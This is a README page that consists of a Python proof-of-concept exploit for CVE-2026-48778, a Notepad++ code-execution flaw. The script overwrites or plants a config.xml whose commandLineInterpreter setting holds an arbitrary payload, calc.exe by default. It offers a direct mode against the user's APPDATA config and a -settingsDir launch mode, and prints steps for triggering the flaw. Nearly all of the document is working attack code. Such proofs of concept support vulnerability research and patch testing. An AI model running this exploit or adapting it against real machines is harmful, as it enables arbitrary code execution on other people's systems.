README.md
Rendering markdown...
#!/usr/bin/env python3
# CVE-2026-48778 - Notepad++ RCE via config.xml commandLineInterpreter
import argparse
import os
import shutil
import tempfile
import xml.etree.ElementTree as ET
APPDATA = os.environ.get("APPDATA", "")
NPP_CONFIG = os.path.join(APPDATA, "Notepad++", "config.xml")
BACKUP_PATH = NPP_CONFIG + ".bak"
def write_malicious(payload: str, target: str) -> None:
root = ET.Element("NotepadPlus")
cfgs = ET.SubElement(root, "GUIConfigs")
el = ET.SubElement(cfgs, "GUIConfig")
el.set("name", "commandLineInterpreter")
el.text = payload
tree = ET.ElementTree(root)
ET.indent(tree, space=" ")
with open(target, "w", encoding="utf-8") as f:
f.write('<?xml version="1.0" encoding="UTF-8" ?>\n')
tree.write(f, encoding="unicode", xml_declaration=False)
print(f"[+] Wrote malicious config.xml -> {target}")
def mode_direct(payload: str, restore: bool) -> None:
if restore:
if os.path.exists(BACKUP_PATH):
shutil.copy2(BACKUP_PATH, NPP_CONFIG)
os.remove(BACKUP_PATH)
print(f"[+] Restored original config.xml from backup")
else:
print("[-] No backup found")
return
if os.path.exists(NPP_CONFIG):
shutil.copy2(NPP_CONFIG, BACKUP_PATH)
print(f"[*] Backed up original -> {BACKUP_PATH}")
write_malicious(payload, NPP_CONFIG)
print("[*] Trigger: open Notepad++, then File -> Open Containing Folder -> cmd")
def mode_settingsdir(payload: str) -> None:
tmpdir = os.path.join(tempfile.gettempdir(), "npp_poc_48778")
os.makedirs(tmpdir, exist_ok=True)
target = os.path.join(tmpdir, "config.xml")
write_malicious(payload, target)
npp = r"C:\Program Files\Notepad++\notepad++.exe"
print(f'[*] Launch command:')
print(f' "{npp}" -settingsDir="{tmpdir}"')
print("[*] Trigger: File -> Open Containing Folder -> cmd")
def main():
parser = argparse.ArgumentParser(description="CVE-2026-48778 PoC")
parser.add_argument("--mode", choices=["direct", "settingsdir"], default="direct")
parser.add_argument("--payload", default="calc.exe")
parser.add_argument("--restore", action="store_true")
args = parser.parse_args()
if args.mode == "direct":
mode_direct(args.payload, args.restore)
else:
mode_settingsdir(args.payload)
if __name__ == "__main__":
main()